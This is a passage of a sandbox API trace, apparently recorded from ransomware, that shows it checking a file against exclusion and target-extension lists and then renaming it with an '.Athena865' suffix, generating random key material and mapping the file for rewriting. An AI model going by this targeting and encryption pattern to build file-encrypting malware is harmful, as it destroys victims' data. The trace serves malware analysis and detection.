lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0054.244] lstrlenW (lpString="desktop.ini") returned 11 [0054.244] lstrcpyW (in: lpString1=0x241e896, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0054.244] lstrlenW (lpString="desktop.ini") returned 11 [0054.244] lstrlenW (lpString="Athena865") returned 9 [0054.244] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0054.244] lstrlenW (lpString=".dll") returned 4 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0054.244] lstrlenW (lpString=".lnk") returned 4 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0054.244] lstrlenW (lpString=".ini") returned 4 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0054.244] lstrlenW (lpString=".sys") returned 4 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0054.244] lstrlenW (lpString="desktop.ini") returned 11 [0054.244] lstrlenW (lpString="bak") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0054.245] lstrlenW (lpString="ba_") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0054.245] lstrlenW (lpString="dbb") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0054.245] lstrlenW (lpString="vmdk") returned 4 [0054.245] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0054.245] lstrlenW (lpString="rar") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0054.245] lstrlenW (lpString="zip") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0054.245] lstrlenW (lpString="tgz") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0054.245] lstrlenW (lpString="vbox") returned 4 [0054.245] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0054.245] lstrlenW (lpString="vdi") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0054.245] lstrlenW (lpString="vhd") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0054.245] lstrlenW (lpString="vhdx") returned 4 [0054.245] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0054.245] lstrlenW (lpString="avhd") returned 4 [0054.245] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0054.245] lstrlenW (lpString="db") returned 2 [0054.245] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0054.245] lstrlenW (lpString="db2") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0054.245] lstrlenW (lpString="db3") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0054.245] lstrlenW (lpString="dbf") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0054.245] lstrlenW (lpString="mdf") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0054.245] lstrlenW (lpString="mdb") returned 3 [0054.245] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0054.246] lstrlenW (lpString="sql") returned 3 [0054.246] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0054.246] lstrlenW (lpString="sqlite") returned 6 [0054.246] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0054.246] lstrlenW (lpString="sqlite3") returned 7 [0054.246] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0054.246] lstrlenW (lpString="sqlitedb") returned 8 [0054.246] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0054.246] lstrlenW (lpString="xml") returned 3 [0054.246] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0054.246] lstrlenW (lpString="$er") returned 3 [0054.246] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0054.246] lstrlenW (lpString="4dd") returned 3 [0054.246] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0054.246] lstrlenW (lpString="4dl") returned 3 [0054.246] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0054.246] lstrlenW (lpString="^^^") returned 3 [0054.246] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0054.246] lstrlenW (lpString="abs") returned 3 [0054.246] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0054.246] lstrlenW (lpString="abx") returned 3 [0054.246] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0054.246] lstrlenW (lpString="accdb") returned 5 [0054.246] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0054.246] lstrlenW (lpString="accdc") returned 5 [0054.246] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0054.246] lstrlenW (lpString="accde") returned 5 [0054.246] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0054.246] lstrlenW (lpString="accdr") returned 5 [0054.246] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0054.246] lstrlenW (lpString="accdt") returned 5 [0054.246] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0054.246] lstrlenW (lpString="accdw") returned 5 [0054.246] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0054.247] lstrlenW (lpString="accft") returned 5 [0054.247] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0054.247] lstrlenW (lpString="adb") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.247] lstrlenW (lpString="adb") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.247] lstrlenW (lpString="ade") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0054.247] lstrlenW (lpString="adf") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0054.247] lstrlenW (lpString="adn") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0054.247] lstrlenW (lpString="adp") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0054.247] lstrlenW (lpString="alf") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0054.247] lstrlenW (lpString="ask") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0054.247] lstrlenW (lpString="btr") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0054.247] lstrlenW (lpString="cat") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0054.247] lstrlenW (lpString="cdb") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0054.247] lstrlenW (lpString="ckp") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0054.247] lstrlenW (lpString="cma") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0054.247] lstrlenW (lpString="cpd") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0054.247] lstrlenW (lpString="dacpac") returned 6 [0054.247] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0054.247] lstrlenW (lpString="dad") returned 3 [0054.247] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0054.248] lstrlenW (lpString="dadiagrams") returned 10 [0054.248] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0054.248] lstrlenW (lpString="daschema") returned 8 [0054.248] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0054.248] lstrlenW (lpString="db-journal") returned 10 [0054.248] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0054.248] lstrlenW (lpString="db-shm") returned 6 [0054.248] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0054.248] lstrlenW (lpString="db-wal") returned 6 [0054.248] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0054.248] lstrlenW (lpString="dbc") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0054.248] lstrlenW (lpString="dbs") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0054.248] lstrlenW (lpString="dbt") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0054.248] lstrlenW (lpString="dbv") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0054.248] lstrlenW (lpString="dbx") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0054.248] lstrlenW (lpString="dcb") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0054.248] lstrlenW (lpString="dct") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0054.248] lstrlenW (lpString="dcx") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0054.248] lstrlenW (lpString="ddl") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0054.248] lstrlenW (lpString="dlis") returned 4 [0054.248] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0054.248] lstrlenW (lpString="dp1") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0054.248] lstrlenW (lpString="dqy") returned 3 [0054.248] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0054.248] lstrlenW (lpString="dsk") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0054.249] lstrlenW (lpString="dsn") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0054.249] lstrlenW (lpString="dtsx") returned 4 [0054.249] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0054.249] lstrlenW (lpString="dxl") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0054.249] lstrlenW (lpString="eco") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0054.249] lstrlenW (lpString="ecx") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0054.249] lstrlenW (lpString="edb") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0054.249] lstrlenW (lpString="epim") returned 4 [0054.249] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0054.249] lstrlenW (lpString="fcd") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0054.249] lstrlenW (lpString="fdb") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0054.249] lstrlenW (lpString="fic") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0054.249] lstrlenW (lpString="flexolibrary") returned 12 [0054.249] lstrlenW (lpString="fm5") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0054.249] lstrlenW (lpString="fmp") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0054.249] lstrlenW (lpString="fmp12") returned 5 [0054.249] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0054.249] lstrlenW (lpString="fmpsl") returned 5 [0054.249] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0054.249] lstrlenW (lpString="fol") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0054.249] lstrlenW (lpString="fp3") returned 3 [0054.249] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0054.249] lstrlenW (lpString="fp4") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0054.250] lstrlenW (lpString="fp5") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0054.250] lstrlenW (lpString="fp7") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0054.250] lstrlenW (lpString="fpt") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0054.250] lstrlenW (lpString="frm") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0054.250] lstrlenW (lpString="gdb") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.250] lstrlenW (lpString="gdb") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.250] lstrlenW (lpString="grdb") returned 4 [0054.250] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0054.250] lstrlenW (lpString="gwi") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0054.250] lstrlenW (lpString="hdb") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0054.250] lstrlenW (lpString="his") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0054.250] lstrlenW (lpString="ib") returned 2 [0054.250] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0054.250] lstrlenW (lpString="idb") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0054.250] lstrlenW (lpString="ihx") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0054.250] lstrlenW (lpString="itdb") returned 4 [0054.250] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0054.250] lstrlenW (lpString="itw") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0054.250] lstrlenW (lpString="jet") returned 3 [0054.250] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0054.250] lstrlenW (lpString="jtx") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0054.251] lstrlenW (lpString="kdb") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0054.251] lstrlenW (lpString="kexi") returned 4 [0054.251] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0054.251] lstrlenW (lpString="kexic") returned 5 [0054.251] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0054.251] lstrlenW (lpString="kexis") returned 5 [0054.251] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0054.251] lstrlenW (lpString="lgc") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0054.251] lstrlenW (lpString="lwx") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0054.251] lstrlenW (lpString="maf") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0054.251] lstrlenW (lpString="maq") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0054.251] lstrlenW (lpString="mar") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0054.251] lstrlenW (lpString="marshal") returned 7 [0054.251] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0054.251] lstrlenW (lpString="mas") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0054.251] lstrlenW (lpString="mav") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0054.251] lstrlenW (lpString="maw") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0054.251] lstrlenW (lpString="mdbhtml") returned 7 [0054.251] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0054.251] lstrlenW (lpString="mdn") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0054.251] lstrlenW (lpString="mdt") returned 3 [0054.251] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0054.251] lstrlenW (lpString="mfd") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0054.252] lstrlenW (lpString="mpd") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0054.252] lstrlenW (lpString="mrg") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0054.252] lstrlenW (lpString="mud") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0054.252] lstrlenW (lpString="mwb") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0054.252] lstrlenW (lpString="myd") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0054.252] lstrlenW (lpString="ndf") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0054.252] lstrlenW (lpString="nnt") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0054.252] lstrlenW (lpString="nrmlib") returned 6 [0054.252] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0054.252] lstrlenW (lpString="ns2") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0054.252] lstrlenW (lpString="ns3") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0054.252] lstrlenW (lpString="ns4") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0054.252] lstrlenW (lpString="nsf") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0054.252] lstrlenW (lpString="nv") returned 2 [0054.252] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0054.252] lstrlenW (lpString="nv2") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0054.252] lstrlenW (lpString="nwdb") returned 4 [0054.252] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0054.252] lstrlenW (lpString="nyf") returned 3 [0054.252] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0054.252] lstrlenW (lpString="odb") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.253] lstrlenW (lpString="odb") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.253] lstrlenW (lpString="oqy") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0054.253] lstrlenW (lpString="ora") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0054.253] lstrlenW (lpString="orx") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0054.253] lstrlenW (lpString="owc") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0054.253] lstrlenW (lpString="p96") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0054.253] lstrlenW (lpString="p97") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0054.253] lstrlenW (lpString="pan") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0054.253] lstrlenW (lpString="pdb") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0054.253] lstrlenW (lpString="pdm") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0054.253] lstrlenW (lpString="pnz") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0054.253] lstrlenW (lpString="qry") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0054.253] lstrlenW (lpString="qvd") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0054.253] lstrlenW (lpString="rbf") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0054.253] lstrlenW (lpString="rctd") returned 4 [0054.253] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0054.253] lstrlenW (lpString="rod") returned 3 [0054.253] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0054.253] lstrlenW (lpString="rodx") returned 4 [0054.253] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0054.254] lstrlenW (lpString="rpd") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0054.254] lstrlenW (lpString="rsd") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0054.254] lstrlenW (lpString="sas7bdat") returned 8 [0054.254] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0054.254] lstrlenW (lpString="sbf") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0054.254] lstrlenW (lpString="scx") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0054.254] lstrlenW (lpString="sdb") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0054.254] lstrlenW (lpString="sdc") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0054.254] lstrlenW (lpString="sdf") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0054.254] lstrlenW (lpString="sis") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0054.254] lstrlenW (lpString="spq") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0054.254] lstrlenW (lpString="te") returned 2 [0054.254] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0054.254] lstrlenW (lpString="teacher") returned 7 [0054.254] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0054.254] lstrlenW (lpString="tmd") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0054.254] lstrlenW (lpString="tps") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0054.254] lstrlenW (lpString="trc") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.254] lstrlenW (lpString="trc") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.254] lstrlenW (lpString="trm") returned 3 [0054.254] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0054.254] lstrlenW (lpString="udb") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0054.255] lstrlenW (lpString="udl") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0054.255] lstrlenW (lpString="usr") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0054.255] lstrlenW (lpString="v12") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0054.255] lstrlenW (lpString="vis") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0054.255] lstrlenW (lpString="vpd") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0054.255] lstrlenW (lpString="vvv") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0054.255] lstrlenW (lpString="wdb") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0054.255] lstrlenW (lpString="wmdb") returned 4 [0054.255] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0054.255] lstrlenW (lpString="wrk") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0054.255] lstrlenW (lpString="xdb") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0054.255] lstrlenW (lpString="xld") returned 3 [0054.255] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0054.255] lstrlenW (lpString="xmlff") returned 5 [0054.255] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0054.255] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Music\\desktop.ini.Athena865") returned 60 [0054.255] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Music\\desktop.ini" (normalized: "c:\\documents and settings\\public\\music\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\Music\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\music\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0054.256] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Music\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\music\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.256] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=380) returned 1 [0054.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0054.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519e60 [0054.256] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519ee8) returned 1 [0054.257] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.257] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.257] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480, lpName=0x0) returned 0x154 [0054.258] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480) returned 0x100000 [0054.258] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519ee8) returned 1 [0054.259] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.259] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.259] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.260] CloseHandle (hObject=0x154) returned 1 [0054.260] CloseHandle (hObject=0x17c) returned 1 [0054.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0054.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519e60 | out: hHeap=0x4f0000) returned 1 [0054.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.261] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2d4540, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, 